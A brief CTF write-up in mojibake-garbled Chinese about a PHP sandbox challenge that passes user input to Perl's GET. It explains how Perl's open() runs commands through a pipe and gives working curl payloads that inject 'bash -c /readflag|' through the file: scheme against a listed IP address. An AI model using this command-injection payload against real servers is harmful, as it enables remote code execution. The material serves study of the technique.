題目源碼:

<?php 
 $sandbox = "sandbox/" . md5("orange" .$_SERVER["REMOTE_ADDR"]); 
 @mkdir($sandbox); 
 @chdir($sandbox); 
 $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
 $info = pathinfo($_GET["filename"]); 
 $dir  = str_replace(".", "", basename($info["dirname"])); 
 @mkdir($dir); 
 @chdir($dir); 
 @file_put_contents(basename($info["basename"]), $data); 
 highlight_file(__FILE__); 

perl在open當(dāng)中可以執(zhí)行命令，如:

open(FD, "ls|")或open(FD, "|ls")

都可以執(zhí)行l(wèi)s命令，而GET是在perl下執(zhí)行的，當(dāng)GET使用file協(xié)議的時候就會調(diào)用到perl的open函數(shù)，這就是我們要利用的點，

image.png

payload

curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=/xx' > /dev/null
curl 'http://13.115.136.15/sandbox/f0a42db72ab289fd33e24107424a2f9a/xx/'